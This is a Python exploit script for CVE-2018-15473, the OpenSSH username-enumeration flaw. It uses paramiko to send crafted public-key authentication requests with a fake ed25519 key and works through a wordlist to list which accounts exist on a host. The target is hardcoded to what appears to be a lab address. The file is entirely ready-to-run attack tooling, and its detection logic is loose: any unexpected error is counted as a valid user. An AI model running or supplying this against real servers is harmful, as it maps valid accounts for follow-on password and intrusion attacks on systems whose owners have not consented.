import socket
import sys
import os
import logging

logging.getLogger("paramiko").setLevel(logging.CRITICAL)

try:
    import paramiko
    from paramiko.ssh_exception import SSHException
except ImportError:
    print("[-] Error: paramiko module is missing. Install it using: pip install paramiko")
    sys.exit(1)

class InvalidUsername(Exception):
    pass

def check_user(hostname, port, username):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.settimeout(5)
        sock.connect((hostname, port))
    except Exception:
        return False

    transport = paramiko.Transport(sock)
    try:
        transport.start_client()
    except SSHException:
        try:
            transport.close()
            sock.close()
        except:
            pass
        return False

    try:
        transport._transport_info = None
        m = paramiko.message.Message()
        m.add_byte(paramiko.common.cMSG_USERAUTH_REQUEST)
        m.add_string(username)
        m.add_string('ssh-connection')
        m.add_string('publickey')
        m.add_boolean(False)
        m.add_string('ssh-ed25519')
        
        fake_key = b"\x00\x00\x00\x07ssh-ed25519\x00\x00\x00\x00"
        m.add_string(fake_key)

        transport._send_message(m)
        transport.lock.acquire()
        
        while True:
            event = transport._get_event()
            if event is not None:
                break
            if not transport.is_active():
                raise InvalidUsername()

    except InvalidUsername:
        try:
            transport.close()
            sock.close()
        except:
            pass
        return False
    except Exception:
        try:
            transport.close()
            sock.close()
        except:
            pass
        return True
        
    try:
        transport.close()
        sock.close()
    except:
        pass
    return False

def enumerate_users(target_ip, port, wordlist_path):
    if not os.path.exists(wordlist_path):
        print(f"[-] Error: Wordlist file '{wordlist_path}' not found.")
        return

    print(f"[*] Starting CVE-2018-15473 enumeration against {target_ip}:{port}")
    print(f"[*] Using wordlist: {wordlist_path}\n")

    found_users = []

    with open(wordlist_path, 'r', encoding='latin-1') as f:
        for line in f:
            username = line.strip()
            if not username or username.startswith('#'):
                continue

            exists = check_user(target_ip, port, username)
            
            if exists:
                print(f"[+] [EXISTS] -> {username}")
                found_users.append(username)
            else:
                print(f"[-] [NOT FOUND] -> {username}")

    print("\n" + "="*40)
    print(f"[*] Scan complete. Found {len(found_users)} valid user(s):")
    for user in found_users:
        print(f"    - {user}")
    print("="*40)

if __name__ == "__main__":
    target = "10.10.10.100"
    port = 22
    
    if len(sys.argv) < 2:
        print(f"Usage: python3 {sys.argv[0]} <path_to_wordlist.txt>")
        sys.exit(1)

    wordlist = sys.argv[1]
    enumerate_users(target, port, wordlist)